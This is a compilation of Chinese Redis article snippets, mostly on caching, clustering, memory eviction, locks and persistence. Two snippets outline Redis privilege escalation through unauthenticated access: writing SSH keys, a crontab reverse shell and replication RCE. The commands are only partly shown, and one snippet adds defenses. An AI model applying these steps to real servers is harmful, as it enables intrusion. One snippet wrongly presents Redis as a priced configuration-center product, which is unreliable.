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使用Redis走进误区,该怎么办?

但是,怕什么来什么,还是出了状况:主从Redis之间的网络出现了一点小动荡,想想这么大的一个东西在主从同步,一旦网络动荡了一下下,会怎么样呢?...Redis中写入数据并使用,所以这里我们发现Redis使用没这些场景的管理后在长期的使用中比较容易失控,我们需要一个对Redis使用可治理和管控的透明层。...怎么办?这是一个很沉重的事:“一个被人用乱的系统就像一桌烧坏的菜,让你重新回炉,还让人叫好,是很困难的”。关键是已经用的这样了,总不可能让所有系统都停下来,等待新系统上线并瞬间切换好吧?...客户端,在使用时就开始控制和引导; (3)Redis的部分角色要改,将Redis由storage角色降低为cache角色; (4)Redis的持久化方案要重新做,需要自己研发一个基于Redis协议的持久化方案让使用者可以把...对于安全的命令可以直接使用,对于不安全的命令需要分析和审批后才能打开,这也是由配置中心控制的,这样就解决了研发人员使用Redis时的规范问题,并且将Redis定位为缓存角色,除非有特殊需求,否则一律以缓存角色对待

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Redis 集群怎么实现高可用

Redis 集群怎么实现高可用 高可用首先要解决集群部分失败的场景: 当集群内少量节点出现故障时通过自动故障转移保证集群可以对外提供服务。...Redis 集群内节点通过 ping/pong 消息实现节点通讯, 消息不但可以传播节点槽信息,还可以传播其他状态:主从状态、节点故障等。 故障发现也是通过消息传播机制实现的。...Redis 集群没有直接使用从节点进行领导者选举。主要因为从节点必须大于等于 3个才能保证凑够 N/2+1 个节点。将导致资源浪费。...使用集群内所有持有槽的主节点进行领导者选举,即使只有一个从节点也可以完成选举过程。当从节点收集到 N/2+1 持有槽的主节点投票时,从节点可以执行替换主节点操作。 ?

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Redis 内存满了怎么

Redis占用内存大小 我们知道Redis是基于内存的key-value数据库,因为系统的内存大小有限,所以我们在使用Redis的时候可以配置Redis使用的最大的内存大小。...上面说到了Redis使用最大内存使用完了,是可以使用LRU算法进行内存淘汰的,那么什么是LRU算法呢? LRU(Least Recently Used),即最近最少使用,是一种缓存置换算法。...LRU在Redis中的实现 近似LRU算法 Redis使用的是近似LRU算法,它跟常规的LRU算法还不太一样。...而同样使用5个采样数,Redis3.0也要优于Redis2.8。 LFU算法 LFU算法是Redis4.0里面新加的一种淘汰策略。...,不过要注意的一点是这两周策略只能在Redis4.0及以上设置,如果在Redis4.0以下设置会报错 问题 最后留一个小问题,可能有的人注意到了,我在文中并没有解释为什么Redis使用近似LRU算法而不使用准确的

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Redis数据都是怎么存储的?

其实redis使用的是一个哈希表来存储所有的键值对数据,如下图所示:看到这张图相信大家会想到另外一个java中的数据结构HashMap,是的优秀的数据结构设计总是被应用到各个地方。...当然我们能够想到这一点,redis作者肯定也就想到了这一点,那么是怎么进行设计呢?...entry同时出现在一个哈希桶时,每个entry之间使用指针相连接,如图中所示的entry1,entry2,entry3使用next指针进行相连,因此无论有多少entry落入相同的哈希桶中都可以使用指针进行连接形成...redis会分配两个hash表,比如为hash_table1和hash_table2,首先使用的hash_table1进行数据的插入和读取,初始时候hash_table2的大小为hahs_table1的两倍...使用

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Redis 内存满了怎么办?

问题 ---- Redis占用内存大小 我们知道Redis是基于内存的key-value数据库,因为系统的内存大小有限,所以我们在使用Redis的时候可以配置Redis使用的最大的内存大小。...上面说到了Redis使用最大内存使用完了,是可以使用LRU算法进行内存淘汰的,那么什么是LRU算法呢? LRU(Least Recently Used),即最近最少使用,是一种缓存置换算法。...LRU在Redis中的实现 近似LRU算法 Redis使用的是近似LRU算法,它跟常规的LRU算法还不太一样。...而同样使用5个采样数,Redis3.0也要优于Redis2.8。 LFU算法 LFU算法是Redis4.0里面新加的一种淘汰策略。...,不过要注意的一点是这两周策略只能在Redis4.0及以上设置,如果在Redis4.0以下设置会报错 问题 最后留一个小问题,可能有的人注意到了,我在文中并没有解释为什么Redis使用近似LRU算法而不使用准确的

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Redis内存满了怎么办?

Redis占用内存大小 我们知道Redis是基于内存的key-value数据库,因为系统的内存大小有限,所以我们在使用Redis的时候可以配置Redis使用的最大的内存大小。...上面说到了Redis使用最大内存使用完了,是可以使用LRU算法进行内存淘汰的,那么什么是LRU算法呢? LRU(Least Recently Used),即最近最少使用,是一种缓存置换算法。...LRU在Redis中的实现 近似LRU算法 Redis使用的是近似LRU算法,它跟常规的LRU算法还不太一样。...而同样使用5个采样数,Redis3.0也要优于Redis2.8。 LFU算法 LFU算法是Redis4.0里面新加的一种淘汰策略。...,不过要注意的一点是这两周策略只能在Redis4.0及以上设置,如果在Redis4.0以下设置会报错 问题 最后留一个小问题,可能有的人注意到了,我在文中并没有解释为什么Redis使用近似LRU算法而不使用准确的

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Redis 内存满了怎么办……

我们知道Redis是基于内存的key-value数据库,因为系统的内存大小有限,所以我们在使用Redis的时候可以配置Redis使用的最大的内存大小。...//设置Redis最大占用内存大小为100M maxmemory 100mb redis的配置文件不一定使用的是安装目录下面的redis.conf文件,启动redis服务的时候是可以传一个参数指定redis...上面说到了Redis使用最大内存使用完了,是可以使用LRU算法进行内存淘汰的,那么什么是LRU算法呢? LRU(Least Recently Used),即最近最少使用,是一种缓存置换算法。...LRU在Redis中的实现 近似LRU算法 Redis使用的是近似LRU算法,它跟常规的LRU算法还不太一样。...而同样使用5个采样数,Redis3.0也要优于Redis2.8。 LFU算法 LFU算法是Redis4.0里面新加的一种淘汰策略。

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分布式配置中心redis怎么样?分布式配置中心redis使用困难吗?

随着分布式技术的逐渐成熟,分布式配置中心也逐渐发展了起来,市面上拥有很多种品牌的分布式配置中心,比较常见的分布式配置中心有Apollo,Redis等,下面就来为大家简单介绍分布式配置中心redis。...分布式配置中心redis怎么样 这是一款比较常见的分布式配置中心,在使用的时候需要提前预留内存并进行配置,而且能够提供单机集群等各种实例类型,可以满足各种性能的场景和弹性变配的需求,总体来说是一款非常优秀的分布式配置中心...分布式配置中心redis使用困难吗 这款分布式配置中心redis使用并不困难,专业的操作人员都可以轻松上手,如果有不明白的地方也可以直接咨询或者查看说明书。...目前的分布式配置中心技术都比较高级,已经能够实现全自动化了,只需要在使用前稍微进行配置就可以,在使用过程中还有可能会出现一些应急情况,也应当适当了解如何处理这些应急情况。...以上为大家简单介绍了分布式配置中心redis的相关内容,和其他的分布式配置中心一样,这款分布式配置中心也拥有一键处理节点和统一管理等相应的权限,但是这款分布式配置中心的价格相对于其他的分布式配置中心来说要低很多

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使用redis就可以获得root权限,怎么做的?

(我是好人怎么可能会干坏事呢) 所以我的服务器肯定被人入侵了,因为是个人服务器没什么重要东西端口是常年开放的也没有开启白名单防火墙,最重要的是密码都不设。怪不得天天被入侵,下面进行一下复现。...安装redis 在模拟被入侵的服务器上使用root用户安装redis并开启远程访问,如果需要安装redis的教程可以看这篇文章:Linux在线安装redis 通过redis获取Root权限 我们在并不知道...登陆成功 看一下authorized_keys文件 中间一段就是我们传进来的公钥,如果不加空格跟其他内容混淆到一块可能就无法对应上秘钥了,到此我们获得了root权限,那想干什么都可以了,下面来聊聊怎么防护这个问题...,所以根据上面的因素可以做出一下几个防护方案: 关闭公网访问 设置防火墙 修改默认端口 设置复杂密码 使用非root用户启动redis 使用新版本redis 非公网访问能杜绝绝大部分的恶意攻击,设置防火墙跟白名单就杜绝了...如果使用非root用户启动redis就100%杜绝这个方式的入侵,因为它需要修改root目录下的公钥文件 使用新版本redis默认不允许没有密码的操作,所以可以避免一下。

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redis(三)redis锁的使用

不做处理的代码 编写最普通的程序,不考虑任何并发的代码 需求 假定现在有10000库存,访问一次接口库存减1 当库存等于0,返回库存不足 需求分析 因为需要模拟接口访问,所以需要一个web项目,我这里使用的是一个可以运行起来的...redis锁的代码 synchronized确实可以解决库存不一致问题,但是,因为线上服务大部分都是多节点部署,两台或者两天以上的服务器,代码加synchronized肯定是不好使的 所以这里推荐使用redis...锁 redis锁的优势 redis锁基于redis实现 数据存储在内存,操作较快 redis是单线程,安全 修改后的代码 使用setIfAbsent来判断key是否存在 使用expire来设置超时时间...锁主要用作分布式的安全方面,可以通过最后的redis锁测试的结果看出,虽然库存没有减到0,但是安全得到了保障,每个数,只被用了一次 我这是第一次使用StringRedisTemplate(之前都是使用Jedis...),没有踩过太大的坑,所以不敢保障这个redis使用一定正确,但是效果达到了 本文使用的redisUtils,点击下面的阅读原文,即可找着

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你的Redis怎么持久化的

ps:附《那些年用过的redis集群架构(含面试解析)》的连接地址。 当然,必须的,我一定要先问一下老刘答了哪种redis集群架构!老刘的回答是用了redis cluster集群架构。...redis的主从复制是异步的,master执行完客户端请求的命令后会立即返回结果给客户端,然后异步的方式把命令同步给slave。...因为在集群中存在redis读写分离的情况,就不适合这套方案了。 幸运的是,由于采用redis读写分离架构,就必须要考虑主从同步的延迟性问题,徒增系统复杂度。...目前业内采用redis读写分离架构的项目,真的太少了。...随着时间的流逝,你会发现这个AOF文件越来越大,于是redis有一套rewrite机制,来缩小AOF文件的体积。

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Redis变慢了,你会怎么排查

很多时候,Redis出现访问延迟变大,都与我们的使用不当或运维不合理导致的。 这篇文章我们就来分析一下Redis使用过程中,经常会遇到的延迟问题以及如何定位和分析。...使用复杂度高的命令 如果在使用Redis时,发现访问延迟突然增大,如何进行排查? 首先,第一步,建议你去查看一下Redis的慢日志。...如果你的服务请求量并不大,但Redis实例的CPU使用率很高,很有可能是使用了复杂度高的命令导致的。...使用Swap 如果你发现Redis突然变得非常慢,每次访问的耗时都达到了几百毫秒甚至秒级,那此时就检查Redis是否使用到了Swap,这种情况下Redis基本上已经无法提供高性能的服务。...如果确实使用到了Swap,要及时整理内存空间,释放出足够的内存供Redis使用,然后释放Redis的Swap,让Redis重新使用内存。

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渗透测试怎么利用Redis提权

渗透测试怎么利用Redis提权 [TOC] 之前就有做过一些redis的题目, 不过一直没去了解过redis的操作命令,结果这次做渗透测试就用到了所以又去学了一遍, 在这里记一下一些常用的操作命令再贴几个提权方式方便以后要使用...使用Redis提权 首先我们要做的第一步是登录到Redis里面去, 可进入方式有: redis未授权访问漏洞 原因可看上面的参数配置requirepass,默认情况下是可无密码登录的 弱口令 进入到redis...即可无密码登录redis服务器且得到root权限 使用crontab定时任务反弹shell 直接redis-cli -h redis_ip进入redis服务然后执行: config set dir /...服务器反弹的shell redis主从复制rce 这个主从复制的拓展导致执行so文件的原理我也不是很懂, 先直接贴一下吧, 以后搞明白深层原理在写一篇文章说一下吧(埋个坑哈哈哈  Redis是一个使用ANSI...为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力

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